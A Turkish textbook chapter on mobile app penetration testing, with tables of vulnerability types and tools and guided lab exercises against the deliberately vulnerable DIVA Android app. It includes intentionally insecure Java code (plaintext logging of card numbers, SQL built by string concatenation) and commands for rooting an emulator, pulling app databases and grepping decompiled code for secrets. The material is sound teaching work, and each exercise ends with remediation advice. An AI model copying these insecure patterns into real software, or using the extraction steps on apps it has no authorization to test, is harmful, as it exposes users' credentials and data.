Tablo 3.8: Mobil Uygulama Sizma Testlerinde Acikliklar, Saldirilar ve Saldiri Tirleri

Acikhk Tira Test Edilen Durumlar Uygulanan Saldirilar | Saldin Tiirii (Kategori)

. Kimlik dogrulama
L . Zayif parola politikalari, Brute force,
Zayif Kimlik Dogrulama . ) . . saldirilari
. . token kontrol eksikligi, yetki | credential stuffing, L
ve Yetkilendirme . . . (Authentication
kontrollerinin olmamasi privilege escalation
attacks)
Hassas verilerin
Giivenli Olmayan Veri | plaintext saklanmasi, Veri ¢ikarma, cihaz Veri ihlali saldirilari
Depolama SharedPreferences / dosya sistemi analizi | (Data exposure)
Keychain hatalari
Givenli Olmayan SSL/TLS eksikligi, sertifika MitM, trafik dinleme | Ag saldirilari (Network
iletisim dogrulama hatalari (sniffing) attacks)
SQL Injection, S
Yetersiz Girig/Cikis Kullanici girdilerinin QL Inj L Enjeksiyon saldirilari
. i . Command Injection, .
Dogrulamasi filtrelenmemesi o (Injection attacks)
Giivenli Olmayan APl | Yetkisiz endpoint erisimi, APl abuse, parameter | API saldirilari (API
Kullanimi rate limit eksikligi tampering attacks)
Tersine Miihendislik Kod obfuscation eksikligi, Reverse engineering, | Kod analizi saldirilari
Zafiyetleri hardcoded veri static analysis (Reverse engineering)
Uygulama mantigi
Derin Baglanti ve Yetkisiz deep link erigimi, URL manipulation, saﬁmlarl (Logic &
Intent Zafiyetleri intent filtre hatalar intent spoofing 8
attacks)
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Test Edilen Durumlar
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Uygulanan Saldirilar

Saldiri Tiirii (Kategori)

Giivenlik Yanhsg
Yapilandirmasi

bulunmasi

Debug acik olmasi, test
ayarlarinin tGretimde

sizdirma

Yetkisiz erisim, bilgi

Yapilandirma
saldirilar
(Misconfiguration)

Yetersiz Kriptografi

Zayif algoritmalar, sabit
anahtar kullanimi

tahmini

Sifre ¢gozme, anahtar

Kriptografik saldirilar
(Cryptographic
attacks)

Mobil uygulama sizma testleri, cok katmanli bir yapiya sahip olan mobil ekosistemin kapsamli bir sekilde

analiz edilmesini gerektirir. Bu slirecte uygulamanin c¢alistigl cihaz, isletim sistemi, ag iletisimi, API

yapilari, uygulama kodu gibi birgok farkli bilesen ayri ayri degerlendirilir. Bu nedenle sizma testlerinin

etkin ve verimli bir sekilde gerceklestirilebilmesi i¢in farkli amaclara hizmet eden 6zel araglardan

yararlanilir.

Mobil sizma testi araglari; emilasyon ortamlari olusturma, ag trafigini analiz etme, statik ve dinamik
analiz gergeklestirme, tersine mihendislik yapma, ¢alisma zamani manipilasyonu gibi gesitli islevier
sunar. Bu araglar sayesinde test uzmanlari hem uygulamanin i¢ yapisini inceleyebilir hem de gergek
saldiri senaryolarini kontrolli bir sekilde simile edebilir. Mobil uygulama sizma testlerinde yaygin
olarak kullanilan araglar, kullanim amaclari ve test siireglerindeki rolleri Tablo 3.9’da 6zetlenmistir.

Tablo 3.9: Mobil Uygulama Sizma Testi Araglari ve Kullanim Amaglari

Kullanildig Test .
Arag Adi Kullanim Amaci Temel Kullanim Sekli
Asamasi

Farkli Android cihaz ve

Sanal cihaz olusturularak APK

Analiz

tespit etmek

Android Studio | Test Ortami o . . .
sirimlerini simile ederek | yiklenir ve uygulama davranisi
Emulator Olusturma . .
uygulamayi test etmek analiz edilir.
. Test Ortami Hizli ve esnek Android Hazir sanal cihazlar Gizerinden
Genymotion . o T
Olusturma emiilasyonu saglamak uygulama galistirilir ve test edilir.
Corellium Test Ortami iOS cihazlari sanallastirarak | Sanal iOS cihazi olusturularak IPA
Olusturma uygulamayi analiz etmek dosyasi ylklenir ve test edilir.
Uygulama trafigini izlemek, | Proxy olarak yapilandirilir, mobil
Burp Suite Dinamik Analiz / y?, ) & .y . y. p )
. . . degistirmek ve saldiri trafik yonlendirilerek istek-yanit
Professional Ag Testi ..
senaryolari olusturmak analizi yapilir.
APl endpoint’lerine manuel | HTTP istekleri olusturularak
Postman API Testi istek gondererek test parametre manipilasyonu ve
yapmak yetki kontrolleri test edilir.
AP| dokiimantasyonu . .
. L. . . Arayliz Uzerinden endpointler
Swagger Ul API Testi Uizerinden test islemleri . . o
. cagrilarak yanitlar analiz edilir.
gerceklestirmek
Mobil uygulamalardaki
Statik + Dinamik . . Ve . APK/IPA yuklenir, analiz raporlari
MobSF glvenlik agiklarini otomatik

Uzerinden zafiyetler incelenir.

—> Tablo devami
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Kullanildigi Test

Arag Adi Kullanim Amaci Temel Kullanim Sekli
Asamasi
Gelismis otomatik glivenlik | Uygulama taranarak detayli zafiyet
Oversecured | Statik Analiz M3 & Ve . Y y
taramalari yapmak raporu elde edilir.
. . Derlenmis kod ¢ozulerek
. Tersine Uygulama binary yapisini . .
Ghidra . . . fonksiyonlar ve veri akislari
Muhendislik analiz etmek . .
incelenir.
Tersine iOS ve macOS Binary dosyalar disassemble
Hopper .. - . . .
Mihendislik uygulamalarini analiz etmek | edilerek analiz yapilir.
Calisma zamani . .
. . . . _ . Scriptler ile uygulama davranisi
Frida Dinamik Analiz | maniptlasyonu ve hooking L
. . anlk olarak degistirilir.
islemleri yapmak
Frida kullanimini L
.. . . . Komut satiri Gzerinden hazir
Objection Dinamik Analiz | kolaylastirarak hizli test .
komutlarla analiz yapilir.
yapmak
. . . APK dosyalarini Java koduna | APK yuklenir, kaynak kod
jadx Statik Analiz e ; . A
donistirmek incelenerek zafiyetler analiz edilir.
. . Java bytecode’u kaynak koda | .class dosyalari yiiklenerek kod
JD-GUI Statik Analiz } . .
cevirmek yapisi incelenir.
.. | Dinamik Analiz | Web ve mobil trafigi izlemek | Uygulama arag tzerinden baslatilr,
HTTP Toolkit

(Proxy)

ve durdurmak (intercept)

HTTPS trafigi anlik olarak diizenlenir

Sizma testi acisindan statik ve dinamik analiz, mobil uygulamanin farkli asamalarda glvenlik
degerlendirmesini saglayan iki tamamlayici yaklasimdir. Statik analiz (static analysis), uygulama
calistirlmadan once kaynak kodun veya derlenmis dosyalarin (APK/IPA) incelenmesini ifade eder. Bu
asamada test uzmani; kod icerisindeki hatali glivenlik kontrollerini, sabit (hardcoded) sifreleri, zayif
kriptografik kullanimlari ve yanhs yapilandirmalari tespit etmeye c¢alisir. Tersine mihendislik araglari
kullanilarak uygulamanin mantigi analiz edilir ve potansiyel zafiyetler hentiz uygulama calistirilmadan
ortaya cikarilir. Dinamik analiz (dynamic analysis) ise uygulama galisir durumdayken yapilan incelemeyi
kapsar. Bu asamada uygulamanin gercek zamanli davranisi gozlemlenir, ag trafigi analiz edilir, kullanici
girdileri manipiile edilir ve giivenlik kontrollerinin nasil tepki verdigi test edilir. Ozellikle kimlik
dogrulama, oturum yonetimi, veri iletimi gibi alanlarda zafiyetlerin istismar edilip edilemeyecegi bu
yontemle dogrulanir. Ozetle statik analiz, kod ne sdyliiyor sorusuna cevap verirken dinamik analiz,
uygulama gergekte nasil davraniyor sorusuna odaklanir.
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Sizma testlerinde bu iki yaklasim birlikte kullanilarak daha kapsaml ve guvenilir sonuglar elde edilir
(Gorsel 3.97).

Statik Analiz Dinamik Analiz

Kod Analizi Calisma Zamam Analizi

Kod ne soyliiyor? Uygulama nasil davraniyor?
T )

4+ Kaynak Kod Incelemesi Canll Trafik Analizi

01117
g:::i Tersine Miihendislik . . Oturum ve Girdi Testleri
Giivenlik Zafiyeti Tespiti Gergek Zafiyet Istisman

Kod Analizi Canh Test

- SIZMA TESTINDE CiFT YONLU ANALIZ -

Gorsel 3.97: Analiz tirleri

- 10. Uygulama

Zafiyetli bir mobil uygulamanin sizma testleri sirasinda uygulamanin hata
yonetimi ve loglama mekanizmalarinin incelenmesi gerekmektedir. Bu
kapsamda uygulama Ulzerinde bir islem gerceklestirerek kullanicidan veri
alinan ilgili alana 6rnek bir bilgi giriniz ve islemi tamamlayiniz. Ardindan
olusan log kayitlarini inceleyerek girilen verinin sistem loglarina nasil
yansidigini inceleyiniz.

Welcome to DIVA!

1. INSECURE LOGEING

2. HARDCODING ISSUES - PART 1

4. INSECURE DATA STORAGL - PART 2

m Terminale adb devices komutunu vyazdiktan sonra ' -
emulator-5554 device seklinde bir ¢ikti gordiglinliz takdirde 5. INSECUREDATA STORAGE - ART S
emilator ile baglanti kurulmus demektir. Aksi halde sorun SMECIRERUASTONE, PRES

7. INPUT VALIDATION ISSUES - PART 1

bulunmaktadir.

B INPUT VALIDATION ESSUES - PART 2

9. ACCESS CONTHOL ESSUES - PART 1

1. Adim: Android Studio kullanarak emdlatér ortamini baslatip, zafiyet 10, ACCESS CONTROL S50ES - PakT 2
iceren APK dosyasini emilatore ylkleyerek sizma testi uygulamalarini
gerceklestirmeye baslayiniz (Gorsel 3.98).

Gorsel 3.98: Yiiklenen APK
dosyasinin ana ekrani
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m Bu uygulamada hazir zafiyetli bir APK dosyasi kullanilmistir. APK’'nin kurulumu, kullanilan
Android slirimine ve sistem vyapilandirmasina bagh olarak farklilk gosterebilir.
Uygulamanin saglikli bir sekilde calistirilabilmesi icin cihazinizda bir Android emiilatériiniin
kurulu olmasi gerekmektedir. Bu ¢alisma kapsaminda emdulatér ortami olarak Android
Studio tercih edilmistir.

2. Adim: CMD (Komut istemi) uygulamasini acarak adb logcat komutunu calistiriniz ve emiilatérde
olusan log kayitlarinin toplanmasini saglayiniz.

3. Adim: Insecure Logging zafiyetini test etmek amaciyla uygulamadaki 1 numarali butona tiklayarak
ilgili icerigi gorintuleyiniz (Gorsel 3.99).

4. Adim: Bu alanin kredi karti bilgilerinin girildigi bir boliim oldugu varsayilarak zafiyetli uygulamada yer
alan ilgili alana test amaciyla rakamlardan olusan bilgi girisi yapiniz ve check out butonuna tiklayiniz
(Gorsel 3.100).

1. Insecure Logging

1. Insecure Logging

L 1111222233344
CHECK DUT
CHECE QUT

Gorsel 3.99: Insecure Logging test paneli Gorsel 3.100: Bilgi girisi yapiimasi

5. Adim: Logcat arayiiziinii acarak daha énce toplanan log kayitlarini analiz ediniz [inceleme sirasinda
uygulama icerisinde ilgili alana girdiginiz verinin log c¢iktilari igerisinde agik metin (plain text) olarak
kaydedildigini ve sistem loglarina yansidigini tespit ediniz (Gorsel 3.101).].

, mPriority=e,

Gorsel 3.101: Girilen degerin goruntilenmesi
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m Logcat ciktilari gok fazla kayit icerebilir. Daha hedefe odakli analiz yapabilmekigin filtreleme
komutlari kullanabilirsiniz. Ornegin adb logcat | findstr 11122233344 komutu ile yalnizca
girdiginiz veriye ait log kayitlarini, adb logcat | findstr diva komutuile ise DIVA uygulamasina

ait log ciktilarini gérintuleyebilirsiniz.

6. Adim: incelenen log kayitlarinda (03-31 23:35:48.775 2936 2936 E diva-log: Error while
processing transaction with credit card: 11112222333444), uygulamaya girilen kredi karti bilgisinin
(11112222333444) acik metin olarak loglara yazildigi tespit edilmistir. Bu durum, hassas verilerin
korunmadan loglanabildigini gostermekte olup Insecure Logging zafiyetine isaret etmektedir. Bu
bulguyu zafiyet olarak degerlendirip glivenlik raporuna yazmak icin not aliniz.

7. Adim: Uygulamada yazilan kodlardaki hatayi tespit ediniz ve bu hatanin nelere yol agabilecegini
degerlendirerek iyilestirme 6nerisi sununuz (Gorsel 3.102).

public class LogActivity extends AppCompatActivity {

Boverride

protected void onCreate (Bundle savedInstanceState) {
super.onCreate (savedInstanceState) ;
setContentView(R.layout.activity log);

}

public void checkout (View view) {

EditText cctxt = (EditText) findViewById(R.1id.ccText);

try {
// Bssuming we do some HTTP requests credit card validation and processing
//Everything seems fine and then we hit some unforseen error
processCC(cctxt.getText () .toString ()

} catch (RuntimeException re) {
Log.e("diva-log", "Error while pro
Toast.makeText (this, "An

tion with credit card: " + cctxt.getText().toString());
try again later", Toast.LENGTH_SHORT) .show() ;

}

private void processCC(String ccstr) {
// Do some important processing and throw if there is any error
RuntimeException € = new RuntimeException();
throw e

Gorsel 3.102: Uygulama kodunun incelenmesi

m APK Dosyasinin incelenmesi gesitli dinamik ve statik analiz araglari ile yapilmaktadir.
Mobsf ya da Jadx-gui vb. araclar ile APK dosyalarinin icerigine ulasarak analiz yapilmasi
mUumkanddr.

8. Adim: Degerlendirmenizi ve iyilestirme Onerilerinizi verilenle karsilastiriniz.

DEGERLENDIRME: Burada kullanici tarafindan girilen kredi karti bilgisi cctxt.getText().toString() ile
alinarak dogrudan loglara yaziliyor. Bu nedenle uygulama hata verdiginde kredi karti numarasi gibi
hassas veri, acik metin olarak Logcat tizerinde goriilebiliyor. Hata, checkout(View view) metodu icindeki
catch blokundadir. Bu zafiyetin ismi insecure logging olarak gegmektedir.

lyilestirme Onerileri

« Kod bloku su sekilde degistirilmelidir:

} catch (RuntimeException re) {
Log.e(“diva-log”, “Payment processing failed”, re);
Toast.makeText(this, “An error occurred. Please try again

later”, Toast. LENGTH_SHORT).show();
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» Kredi karti numarasi, parola, token, TCKN gibi hassas veriler asla loglanmamalidir.
« Debug loglari production strimiinde kapatilmahdir.

« Gerekirse veri maskelenmelidir (6rnegin kartin sadece son 4 hanenin gosterilmesi).

- Hata mesajlari kullaniciya genel gosterilmeli, detaylar i¢ log sisteminde glivenli sekilde yonetilmelidir.

11. Uygulama

Bir mobil uygulama tzerinde gerceklestirilen glivenlik analizinde hardcoding zafiyeti testi yapiimaktadir.
Bu kapsamda, uygulamanin APK dosyasini decompile ederek kullanici adi, parola, APl anahtari gibi
hassas bilgilerin dogrudan kaynak koda gomli olup olmadigini tespit ediniz ve elde ettiginiz bulgular
dogrultusunda bir degerlendirme yapiniz.

1. Adim: Zafiyet iceren mobil uygulamayi acarak hardcoding testi gerceklestireceginiz alani inceleyiniz,
gizli bir anahtara ihtiyac¢ oldugunu gorintileyiniz (Gorsel 3.103).

2. Adim: llgili alana rastgele bir veri girerek uygulamanin davranisini inceleyiniz ve sisteme giris
saglanamadigini gozlemleyiniz (Gorsel 3.104).

; I 2
2. Hardcoding Issues - Part 1 2. Hardcoding Issues - Part 1

yanlisanahiar

ACCESS

Gorsel 3.103: Hardcoding veri giris alani Gorsel 3.104: Veri girisi

3. Adim: APK dosyasini analiz edebilmek amaciyla 6ncelikle dosya ¢alisma dizinine cp /root/Masalistii/
DivaApplication.apk /root/DivaApplication.apk komutu ile kopyalayiniz, ardindan Is -lh /root/
DivaApplication.apk komutu ile dosyanin varligi ve boyutunu kontrol ediniz ve daha dnce olusturulmus
¢kt klasortini rm -rf /root/output komutu ile kontrolden gegiriniz (Gorsel 3.105).

tii/DivaApplication.apk” /root/DivaApplication.apk

/root/DivaApplication.apk
1 root root 1,5M Nis 1 ©7:15 /root/DivaApplication.apk

ication.apk
temAAFontSettings=on -Dswing.aatext=true

ith errors, count: 2

/root/output

Gorsel 3.105: Analize hazir hale getirme
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4. Adim: APK dosyasinin igerigini incelemek amaciyla jadx aracini kullanarak jadx -d /root/output /root/
DivaApplication.apk komutuyla decompile islemi uygulayiniz, ardindan Is /root/output komutuyla elde
edilen kaynak kodlarin bulundugu dizini kontrol edip, grep -Rni “password\|admin\|secret” /root/
output/sources komutuyla password, admin, secret gibi anahtar kelimeler lizerinden arama yaparak
hardcoded (gomill) hassas bilgileri ele gecirmeye calisiniz (Gorsel 3.106).

licat ik ivaApplication.apk

/root/DivaApplication.apk
1 root root 1,5M Nis 1 07:15 /root/DivaApplication.apk

ot/DivaApplication.apk

ERROR - finished errors, count: 2

/root/output

secret” froot/output/sources
public static final int VIS

Gorsel 3.106: Kaynak kod icinde hassas bilgi aranmasi

5. Adim: Elde edilen sonuglari inceleyiniz ve uygulama icerisinde vendorsecretkey ifadesi basta olmak
tizere kullanici adi, parola ve APl anahtarlarinin hardcoded (gémli) olarak dogrudan kod igerisine
yazildigini tespit ediniz (Gorsel 3.107).

((AccessibilityRecord) record).set

VARCHAR); " );

@ssword” ) ;
EETER API Key:
rd2");
{"CREATE _TABLE TE NOT E
_card VARCHAR);");
"INSERT INTC sqliuser VALUES ('

spedit.putString(”

Gorsel 3.107: Gizli anahtari goriintileme

6. Adim: Elde edilen gizli anahtari uygulama lzerinde test ediniz ve girisin basarili oldugunu gorunti-
leyiniz (Gorsel 3.108).

7. Adim: Uygulamada bulunan zafiyeti degerlendiriniz ve iyilestirme onerisi
sununuz.

2. Hardcoding lssues - Part 1

8. Adim: Degerlendirmenizi ve iyilestirme 6nerilerinizi verilenle karsilastiriniz.

DEGERLENDIRME: Altinci adimdaki bulgu, uygulama icerisinde hassas
bilgilerin kaynak koda sabit ve acik sekilde géomiilmesi nedeniyle olusan
hardcoded Secret/hardcoded Credential zafiyetidir. Gorsel 3.108'de 6zellikle
vendorsecretkey ifadesinin dogrudan kod icerisinde kontrol edildigi, ayrica
APl anahtari, kullanici adi ve parola benzeri degerlerin kaynak koda diiz

metin olarak yazildigi gorilmektedir. Bu durum; APK dosyasini analiz eden

bir saldirganin uygulamayi decompile ederek bu bilgilere erisebilmesine, Gorsel 3.108: Gizli
anahtar girisi
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yetkisiz islemler gergeklestirebilmesine, kimlik dogrulama mekanizmalarini atlatabilmesine ve arka ug
sistemlere izinsiz erisim saglamasina yol acabilir. Ozellikle sabit parola, sabit anahtar veya sabit kontrol
degeri kullanilmasi uygulamanin gizliligini, bitunligini ve erisim kontroliini ciddi sekilde zayiflatir.
Bu zafiyet; kaynak kodun ele gecirilmesi, tersine mihendislik yapilmasi, API servislerinin kotlye
kullanilmasi, test veya liretim ortami hesaplarinin ifsa olmasi, uygulama giivenliginin tamamen asiimasi
gibi riskler dogurur. Mobil uygulamalarda APK dosyalari istemci tarafinda bulundugu icin uygulama
icine gdmilen higbir gizli bilgi gercekten gizli kabul edilmemelidir. Bu nedenle vendorsecretkey, API key,
kullanici adi, parola, token ve benzeri kritik bilgiler dogrudan uygulama kodunda tutulmamalidir.

lyilestirme Onerileri

iyilestirme icin éncelikle tim sabit gizli bilgiler, uygulama kodundan kaldiriimalidir. Kimlik dogrulama
ve yetkilendirme islemleri istemci tarafinda degil sunucu tarafinda glivenli sekilde yapilmahdir. API
anahtarlari ve gizli anahtarlar miimkinse backend Uzerinde tutulmali, istemciye yalnizca gerekli ve
sinirh erisim verilmelidir. Zorunlu durumlarda Android Keystore gibi glivenli saklama mekanizmalari
degerlendirilmeli ancak bunun bile tiim riskleri ortadan kaldirmadigi bilinmelidir. Ayrica test amagli
kullanici adi ve parola kayitlari kaldiriimali, debug verileri tGretim stirimiinde bulundurulmamali, kod

obfuscation uygulanmali ve uygulama diizenli olarak statik-dinamik analiz araglari ile incelenmelidir.

““““ : 12. Uygulama

Zafiyet iceren bir mobil uygulama Uzerinde gerceklestirilen glivenlik analizinde Insecure Data Storage
zafiyeti testi yapilmaktadir. Bu kapsamda, Android uygulamalarinda kullanicidan alinan kullanici
adi, parola ve benzeri verilerin nasil saklandigini belirlemek amaciyla SharedPreferences dosyasini
inceleyiniz. Hassas verilerin agik metin olarak tutulup tutulmadigini tespit ediniz ve zafiyet bulunmasi
durumunda degerlendirmenizi gerceklestiriniz.

1. Adim: Zafiyet iceren mobil uygulamada yer alan Insecure Data Storage test ekranini agarak inceleme
gerceklestiriniz ve disaridan kullanici adi, parrola gibi kimlik bilgileri girisi istedigini dogrulayiniz (Gorsel
3.109).

gorintuleyiniz (Gorsel 3.110).

3. Insecure Data Storage - Part 1

3. Ingecure Data Storage - Pant 1

Gorsel 3.109: Veri giris Gorsel 3.110: Kullanici
alaninin incelenmesi bilgilerini kaydetme
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3. Adim: Emiulator Gzerinde uygulamanin veri saklama alanina erisebilmek amaciyla 6éncelikle CMD
komut satiriyla adb root komutunu calistirilarak cihazda root yetkisini aktif hale getiriniz, ardindan adb
shell komutuyla emilator terminaliile baglanti kurunuz, uygulamaya ait hassas verilerin tutuldugu dizine
erismek icin cd /data/data/jakhar.aseem.diva/shared_prefs komutunu kullanip, SharedPreferences
klasoriine gecis yaparak veri inceleme siirecini baslatiniz (Gorsel 3.111).

<lidar.

asee shared_prefs

Gorsel 3.111: Veri inceleme siirecinin baslatiimasi

4. Adim: Uygulamanin veri saklama alanina erisildikten sonra ilgili dizin icerisindeki dosyalari
gorintulemek igin Is komutunu galistiriniz, hassas verilerin tutuldugu dosyayi incelemek amaciyla cat
jakhar.aseem.diva_preferences.xml komutunu kullaniniz, yapilan inceleme sonucunda kullanici adi
ve parola bilgilerinin XML dosyasi icerisinde a¢ik metin (plain text) olarak saklandigini gériintuleyiniz
(Gorsel 3.112).

'shared_prefs

ared_prefs # 1s

refs # cat jakhar.aseem.diva_preferences.xml
L

. I

name=

'data/data/jakhar.aseem.diva/shared_prefs #

Gorsel 3.112: Kullanici adi ve parolanin goriintilenmesi

6. Adim: Uygulamada bulunan zafiyeti degerlendiriniz.
7. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: Yapilan inceleme sonucunda kullanici adi ve parola bilgilerinin uygulama icerisinde
SharedPreferences dosyasinda acgik metin olarak saklandigi tespit edilmistir. Bu durum Insecure
Data Storage zafiyetine isaret etmekte olup hassas verilerin yetkisiz kisiler tarafindan kolaylikla elde
edilmesine neden olabilir. Ozellikle root erisimi olan cihazlarda yedekleme islemleri sirasinda veya
kotl niyetli uygulamalar araciligiyla bu verilere erisim saglanabilir. Bu zafiyetin giderilmesi icin hassas
veriler kesinlikle diiz metin olarak saklanmamali, glicll kriptografik yontemler kullanilarak sifrelenmeli
ve mimkiinse Android Keystore gibi giivenli saklama mekanizmalari tercih edilmelidir. Kullanici kimlik
dogrulama islemleri istemci tarafinda tutulmamali, sunucu tarafinda glivenli sekilde yonetilmeli ve
uygulama icerisinde minimum veri prensibi uygulanmalidir.
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13. Uygulama

Bir mobil uygulama Uzerinde gergeklestirilen glivenlik analizinde Insecure Data Storage zafiyeti testi
yapilmaktadir. Bu kapsamda, uygulama tarafindan saklanan verilerin bulundugu SQLite veritabanini
inceleyiniz ve daha 6nce tespit edilen myuser tablosu tzerinden kullanici adi ve parola bilgilerinin
nasil tutuldugunu analiz ediniz. Verilerin acik metin olarak saklanip saklanmadigini tespit ediniz ve bu
durumun bir gtivenlik zafiyeti olusturup olusturmadigini degerlendiriniz.

1. Adim: Uygulamadaki Insecure Data Storage zafiyetini analiz etmek amaciyla 6ncelikle Jadx-gui aracini
kullanarak APK dosyasinin kaynak kodlarini inceleyiniz ve yaptiginiz kod incelemesinde kullanicidan
alinan kimlik bilgilerinin openOrCreateDatabase(“ids2”, MODE_PRIVATE, null) ifadesi ile ids2 adli
bir veritabaninda saklandigini ve CREATE TABLE IF NOT EXISTS myuser(user VARCHAR, password
VARCHAR); komutu ile kullanici adi ve parola bilgilerinin SQL veritabani yapisinda tutuldugunu tespit
ediniz (Gorsel 3.113).

public class InsecureDataStorage2Activity extends AppCompatActivity {

private SQLiteDatabase mDB;
goyerride
protected void onCreate(Bundle savedInstanceState) {
super.onCreate (savedInstanceState) ;
try |
mDB = openOrCreateDatabas
mDB. execSQL ("CREATE TAELE

MODE_PRIVATE, null)
XISTS myuser (user VA

password VARCHAR);"),
}
catch(Exception ) {
Log.d("Diva", "Error occurred while creating database: " + e.getMessage());
}

setContentView(R.layout.activity insecure_data storage?2);

}

public void saveCredentials(View view) {

EditText usr = (EditText) findViewById(R.id.ids2Usr) ;
EditText pwd = (EditText) findViewById(R.id.ids2Pwd) ;
try {
mMDB. execSQL ("INSERT INTO myuser VALUES ('"+ usr.getText().tostring() +"', '"+ pwd.getText().tostring() +""):");

mDB.close() ;
}
catch(Exception ) {
Log.d("Diva", "Error occurred while inserting into database: " + e.getMessage()):;
}
Toast.makeText (this, "3rd party credentials saved successfully!", Toast.LENGTH SHORT) .show() ;

Gorsel 3.113: Kodlarin incelenmesi

2. Adim: Uygulamada yer alan Insecure Data Storage — Part 2 ekranini
acarak kullanici adi ve parola alanlarina érnek veriler giriniz ve SAVE
butonuna tiklayarak bilgilerin veritabanina kaydedilmesini saglayiniz.
islem sonrasinda ekranda goriintiilenen 3rd party credentials saved
successfully! mesajini gozlemleyiniz ve girilen verilerin uygulama
tarafindan basariyla saklandigini dogrulayiniz (Gorsel 3.114).

3. Adim: Uygulamada saklanan veritabani dosyalarini incelemek
amaciyla oncelikle adb devices komutuyla bagl cihazi kontrol ediniz,
ardindan adb shell komutuyla emilatér terminaline baglaniniz.

I 3rd party credentiaty saved successiully! I

4, Adim: Uygulamaya ait dizine erismek icin c¢d /data/data/jakhar.
aseem.diva komutunu calistiriniz ve Is komutuile klasorleri listeleyiniz.
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5. Adim: Veritabani dosyalarina ulasmak icin cd databases komutunu kullanarak ilgili dizine gecis
yapiniz ve tekrar Is komutuyla icerikleri gériintileyerek ids2 veritabani dosyasinin varligini tespit ediniz
(Gorsel 3.115).

List of de
emulator-5554

Gorsel 3.115: Veritabanina ulagma

6. Adim: cat ids2 komutunu calistirarak veritabani yapisini inceleyiniz, elde edilen ¢ikhida myuser
tablosunun ve kullanici adi ile parola alanlarinin bulundugunu gézlemleyiniz (Gorsel 3.116).

emyusermyu
%mtegmuygulamal9@7e

Gorsel 3.116: Tablo adinin tespit edilmesi

7. Adim: Emulator Gzerinde bulunan ids2 veritabani dosyasini yerel bilgisayara almak amaciyla 6ncelikle
adb devices komutuyla cihaz baglantisini kontrol ediniz, ardindan adb pull /data/data/jakhar.aseem.
diva/databases/ids2 komutunu ¢alistirarak ilgili veritabani dosyasini bilgisayariniza indiriniz ve dosyanin
basariyla kopyalandigini dogrulayiniz (Gorsel 3.117).

Gorsel 3.117: Veritabaninin kopyalanmasi

8. Adim: Windows ortaminda igerigi kontrol etmek icin dir ids2 komutunu c¢alistiriniz bu komut ile
dosyanin bulundugu dizini, boyutunu ve varligini dogrulayarak analiz icin hazir olup olmadigini tespit
ediniz (Gorsel 3.118).

murat>dir ids2

Gorsel 3.118: Veritabani yerinin kontrolQ
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9. Adim: indirilen ids2 veritabani dosyasini analiz etmek amaciyla SQLite Viewer cevrim ici aracinin
araylzini aciniz ve Upload & Analyze secenegini kullanarak dosyayi sisteme yikleyiniz [Dosyanin
yuklenme siirecini takip ediniz ve analiz isleminin baslatildigini dogrulayiniz (Gérsel 3.119).].

& Upload & Analyze

Drag & Drop anywhere!

3% Uploaded ...

Gorsel 3.119: Veritabani analizi

10. Adim: Yiklenen ids2 veritabani dosyasini incelemek amaciyla SQLite Viewer araci izerinden mevcut

tablolari gorintileyiniz (Gorsel 3.120).

SQLite Viewer
view sqlite file online ¢

Drop file here to load content or click on this box to open file dialog.

e @

android_metadata

SELECT * FROM 'android_metadata

locale

en_Us

Gorsel 3.120: Tablolarin gorlintilenmesi

11. Adim: Yuklenen ids2 veritabani dosyasini detayli incelemek amaciyla SQLite Viewer araci izerinde
SQL sorgu alanina daha 6nce tespit edilen myuser tablosuna ait SELECT * FROM myuser; sorgusunu
yaziniz, Execute butonuna tiklayarak calistiriniz ve elde edilen sonuglar dogrultusunda kullanici adi ve
parola bilgilerinin veritabani icerisinde agik metin olarak saklandigini gézlemleyiniz (Gorsel 3.121).

SQLite Viewer
view sqlite file online s

Drop file here to load content or click on this box to open file dialog.

android_metadata Expc

SELECT * FROM 'myuser' LIMIT 8,38

user password

uygulama

mtegm

Gorsel 3.121: Tablolari gorlintileme
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12. Adim: Uygulamada bulunan zafiyeti degerlendiriniz ve iyilestirme 6nerisi sununuz.

13. Adim: Degerlendirmenizi ve iyilestirme 6nerilerinizi verilenle karsilastiriniz.

DEGERLENDIRME: Bu uygulamada tespit edilen zafiyet; kullanici adi, parola gibi hassas bilgilerin SQLite
veritabani igerisinde agik metin olarak saklanmasi nedeniyle olusan Insecure Data Storage zafiyetidir.
Yapilan analizde myuser tablosu igerisinde yer alan verilerin herhangi bir sifreleme veya koruma
mekanizmasi kullanilmadan dogrudan veritabanina kaydedildigi gérilmektedir. Bu durum, root erisimi
bulunan cihazlarda koti niyetli yazihmlar araciligiyla fiziksel cihaz erisimi durumunda veya yedekleme
ve dosya ¢ikarma islemleri sirasinda hassas verilerin yetkisiz kisiler tarafindan ele gecirilmesine neden
olabilir. Ozellikle kullanici kimlik bilgilerinin diiz metin olarak saklanmasi; hesap ele gegirme, yetkisiz
erisim ve veri ihlali risklerini onemli dlcliide artirmaktadir.

iyilestirme Onerileri

Bu zafiyetin giderilmesi icin hassas veriler veritabanina dogrudan acik metin olarak kaydedilmemelidir.
Kullanici adi, parola, token gibi kritik bilgiler glgli kriptografik yontemlerle sifrelenerek saklanmali,
sifreleme anahtarlarinin glvenli yonetimi icin miimkiinse Android Keystore kullaniimalidir. Parolalar
mimkin oldugunca uygulama tarafinda tutulmamali, tutulmasi gerekiyorsa geri dondirilebilir
bicimde degil uygun hash algoritmalari ile korunmalidir. Ayrica istemci tarafinda minimum veri saklama
prensibi uygulanmali, yalnizca zorunlu bilgiler tutulmali ve test amacli hassas veriler Gretim stirimiinde
kesinlikle birakilmamalidir. Bunun yaninda uygulama dizenli olarak statik ve dinamik analiz araglariyla
test edilmeli ve veri saklama politikalari glivenli yazilim gelistirme ilkelerine uygun sekilde yeniden
dizenlenmelidir.

Sira Sizde

Zafiyetli Diva mobil uygulama (izerinde gerceklestirilen sizma testi isleminde kullanicidan alinan
verilerin dogrulama (input validation) mekanizmalari incelenmektedir. Bu kapsamda uygulama
Uzerinde yer alan giris alanlarina beklenen format disinda degerler girerek uygulamanin verdigi
tepkileri analiz ediniz. Uygulamanin hatali veya zararl girdilere karsi nasil davrandigini gézlemleyiniz,
dogrulama mekanizmasinin yetersiz olup olmadigini tespit ediniz ve bu durumun bir glivenlik zafiyeti
olusturup olusturmadigini degerlendiriniz.

\ J

7 ®
\ ¢

Sira Sizde

Zafiyetli Diva mobil uygulama Uzerinde gerceklestirilen sizma testi isleminde SQL Injection zafiyeti
test edilmektedir. Bu kapsamda uygulamada yer alan giris alanlarina 6zel SQL ifadeleri girerek veri-
tabani sorgularinin manipdle edilip edilemedigini analiz ediniz. Uygulamanin beklenmeyen sonuglar
